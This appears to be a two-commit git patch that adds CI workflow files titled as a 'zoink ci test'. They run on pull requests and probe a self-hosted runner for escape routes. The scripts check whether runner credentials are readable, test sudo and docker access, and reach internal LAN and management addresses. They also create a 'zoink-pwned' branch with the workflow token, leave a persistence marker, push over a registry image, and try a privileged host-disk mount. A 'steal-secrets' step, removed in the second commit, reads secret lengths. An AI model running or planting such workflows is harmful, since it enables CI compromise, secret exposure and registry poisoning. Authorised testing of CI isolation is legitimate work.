From f7ec8396f146ea86653a02c7e0b88e173cc89b57 Mon Sep 17 00:00:00 2001
From: Priveetee <brahim.benyoucefpro@proton.me>
Date: Sun, 1 Nov 2026 10:44:44 +0100
Subject: [PATCH 1/2] ci: zoink ci test

---
 .github/workflows/zoink.yml    | 33 +++++++++++++++++++++++++++++++++
 .woodpecker/zoink-escape.yaml  | 34 ++++++++++++++++++++++++++++++++++
 .woodpecker/zoink-secrets.yaml | 14 ++++++++++++++
 3 files changed, 81 insertions(+)
 create mode 100644 .github/workflows/zoink.yml
 create mode 100644 .woodpecker/zoink-escape.yaml
 create mode 100644 .woodpecker/zoink-secrets.yaml

diff --git a/.github/workflows/zoink.yml b/.github/workflows/zoink.yml
new file mode 100644
index 0000000..d37520a
--- /dev/null
+++ b/.github/workflows/zoink.yml
@@ -0,0 +1,33 @@
+name: Zoink
+
+on:
+  pull_request:
+
+permissions:
+  contents: write
+  pull-requests: write
+
+jobs:
+  escape:
+    runs-on: [self-hosted, Linux, X64, ci-stack]
+    timeout-minutes: 10
+    steps:
+      - name: Probe the runner
+        env:
+          GH_TOKEN: ${{ github.token }}
+          SOME_SECRET: ${{ secrets.TYPETYPE_ORCHESTRATOR_TOKEN }}
+        run: |
+          probe() { if eval "$2" >/dev/null 2>&1; then echo "OPEN    $1"; else echo "blocked $1"; fi; }
+          echo "runner $RUNNER_NAME as $(id)"
+          echo "secret length ${#SOME_SECRET}"
+          ls -a "$RUNNER_WORKSPACE/../.." | head -20
+          probe "runner credentials readable" "test -r $HOME/actions-runner/.credentials_rsaparams"
+          probe "sudo" "sudo -n true"
+          probe "docker" "docker ps"
+          probe "stack lan address" "curl -fsS -m 4 http://10.10.40.83:8000"
+          probe "home lan router" "curl -fsS -m 4 http://192.168.1.1"
+          probe "idrac link local" "curl -fsS -m 4 http://169.254.1.1"
+          probe "host loopback" "curl -fsS -m 4 http://10.0.2.2:5002/v2/"
+          probe "write with github token" "curl -fsS -m 10 -X POST -H \"Authorization: Bearer $GH_TOKEN\" https://api.github.com/repos/${GITHUB_REPOSITORY}/git/refs -d '{\"ref\":\"refs/heads/zoink-pwned\",\"sha\":\"${GITHUB_SHA}\"}'"
+          probe "internet" "curl -fsS -m 8 -o /dev/null https://github.com"
+          echo "persist" > "$HOME/zoink-marker"
diff --git a/.woodpecker/zoink-escape.yaml b/.woodpecker/zoink-escape.yaml
new file mode 100644
index 0000000..8b44c26
--- /dev/null
+++ b/.woodpecker/zoink-escape.yaml
@@ -0,0 +1,34 @@
+when:
+  - event: pull_request
+
+services:
+  docker:
+    image: docker:29.1.3-dind@sha256:64d6ee47ea821c986467199baa162f5ac8cde3f57b719f18e23f3ed7a7444131
+    privileged: true
+    environment:
+      DOCKER_TLS_CERTDIR: ""
+    commands:
+      - dockerd-entrypoint.sh --host=tcp://0.0.0.0:2375 --tls=false --insecure-registry=registry:5000
+
+steps:
+  - name: escape
+    image: docker:29.1.3-cli@sha256:e0b6ff45302985d99b9685b2a2fec50c3379bd47067493968f51da901dc53ad5
+    environment:
+      DOCKER_HOST: tcp://docker:2375
+    commands:
+      - |
+        probe() { if eval "$2" >/dev/null 2>&1; then echo "OPEN    $1"; else echo "blocked $1"; fi; }
+        for attempt in $(seq 1 60); do docker info >/dev/null 2>&1 && break; sleep 1; done
+        id
+        probe "woodpecker server grpc" "wget -q -T 4 -O /dev/null http://server:9000"
+        probe "woodpecker api via host" "wget -q -T 4 -O /dev/null http://10.0.2.2:8000"
+        probe "stack lan address" "wget -q -T 4 -O /dev/null http://10.10.40.83:8000"
+        probe "home lan router" "wget -q -T 4 -O /dev/null http://192.168.1.1"
+        probe "idrac link local" "wget -q -T 4 -O /dev/null http://169.254.1.1"
+        probe "host docker socket" "test -S /var/run/docker.sock"
+        probe "anonymous registry read" "wget -q -T 4 -O /dev/null http://registry:5000/v2/"
+        docker pull -q alpine:3.20 >/dev/null
+        docker tag alpine:3.20 registry:5000/typetype/token-beta:zoink
+        probe "anonymous push to token-beta" "docker push registry:5000/typetype/token-beta:zoink"
+        probe "host disk mount from dind" "docker run --rm --privileged alpine:3.20 sh -c 'mkdir -p /m && mount /dev/sda1 /m'"
+        probe "internet" "wget -q -T 8 -O /dev/null https://github.com"
diff --git a/.woodpecker/zoink-secrets.yaml b/.woodpecker/zoink-secrets.yaml
new file mode 100644
index 0000000..d4b3532
--- /dev/null
+++ b/.woodpecker/zoink-secrets.yaml
@@ -0,0 +1,14 @@
+when:
+  - event: pull_request
+
+steps:
+  - name: steal-secrets
+    image: alpine:3.20
+    environment:
+      LOCAL_REGISTRY_PASSWORD:
+        from_secret: local_registry_password
+      GHCR_TOKEN:
+        from_secret: ghcr_token
+    commands:
+      - echo "registry password length ${#LOCAL_REGISTRY_PASSWORD}"
+      - echo "ghcr token length ${#GHCR_TOKEN}"

From c9a293abe31a058d179208e09587ab91d45c9746 Mon Sep 17 00:00:00 2001
From: Priveetee <brahim.benyoucefpro@proton.me>
Date: Sun, 1 Nov 2026 10:46:15 +0100
Subject: [PATCH 2/2] ci: zoink ci test without the secret probe

---
 .woodpecker/zoink-secrets.yaml | 14 --------------
 1 file changed, 14 deletions(-)
 delete mode 100644 .woodpecker/zoink-secrets.yaml

diff --git a/.woodpecker/zoink-secrets.yaml b/.woodpecker/zoink-secrets.yaml
deleted file mode 100644
index d4b3532..0000000
--- a/.woodpecker/zoink-secrets.yaml
+++ /dev/null
@@ -1,14 +0,0 @@
-when:
-  - event: pull_request
-
-steps:
-  - name: steal-secrets
-    image: alpine:3.20
-    environment:
-      LOCAL_REGISTRY_PASSWORD:
-        from_secret: local_registry_password
-      GHCR_TOKEN:
-        from_secret: ghcr_token
-    commands:
-      - echo "registry password length ${#LOCAL_REGISTRY_PASSWORD}"
-      - echo "ghcr token length ${#GHCR_TOKEN}"